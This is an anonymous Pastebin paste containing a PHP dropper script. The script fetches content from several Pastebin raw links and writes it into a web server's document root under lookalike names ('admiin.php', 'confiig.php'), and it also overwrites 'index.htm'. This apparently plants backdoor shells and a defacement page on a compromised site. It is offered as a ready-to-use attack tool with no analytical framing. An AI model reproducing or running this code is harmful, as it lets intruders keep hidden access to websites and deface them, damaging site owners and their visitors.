Advertisement
Guest User

Untitled

a guest
Jul 28th, 2016
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. <?php
  2. function http_get($url){
  3. $im = curl_init($url);
  4. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7. curl_setopt($im, CURLOPT_HEADER, 0);
  8. return curl_exec($im);
  9. curl_close($im);
  10. }
  11. $check = $_SERVER['DOCUMENT_ROOT'] . "/admiin.php" ;
  12. $text = http_get('http://pastebin.com/raw/NNGrtaFi');
  13. $open = fopen($check, 'w');
  14. fwrite($open, $text);
  15. fclose($open);
  16. if(file_exists($check)){
  17. echo $check."</br>";
  18. }else
  19. echo "not exits";
  20. echo "done .\n " ;
  21.  
  22. $check0 = $_SERVER['DOCUMENT_ROOT'] . "/confiig.php" ;
  23. $text0 = http_get('http://pastebin.com/raw/FrN84A0Z');
  24. $open0 = fopen($check0, 'w');
  25. fwrite($open0, $text0);
  26. fclose($open0);
  27. if(file_exists($check0)){
  28. echo $check0."</br>";
  29. }else
  30. echo "not exits";
  31. echo "done .\n " ;
  32.  
  33. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/index.htm" ;
  34. $text2 = http_get('http://pastebin.com/raw/hkhLfTaM');
  35. $open2 = fopen($check2, 'w');
  36. fwrite($open2, $text2);
  37. fclose($open2);
  38. if(file_exists($check2)){
  39. echo $check2."</br>";
  40. }else
  41. echo "not exits";
  42. echo "done .\n " ;
  43.  
  44. $check3=$_SERVER['DOCUMENT_ROOT'] . "/indexx.html" ;
  45. $text3 = http_get('http://pastebin.com/raw/hkhLfTaM');
  46. $op3=fopen($check3, 'w');
  47. fwrite($op3,$text3);
  48. fclose($op3);
  49. if(file_exists($check3)){
  50. echo $check3."</br>";
  51. }else
  52. echo "not exits";
  53. echo "done .\n " ;
  54.  
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement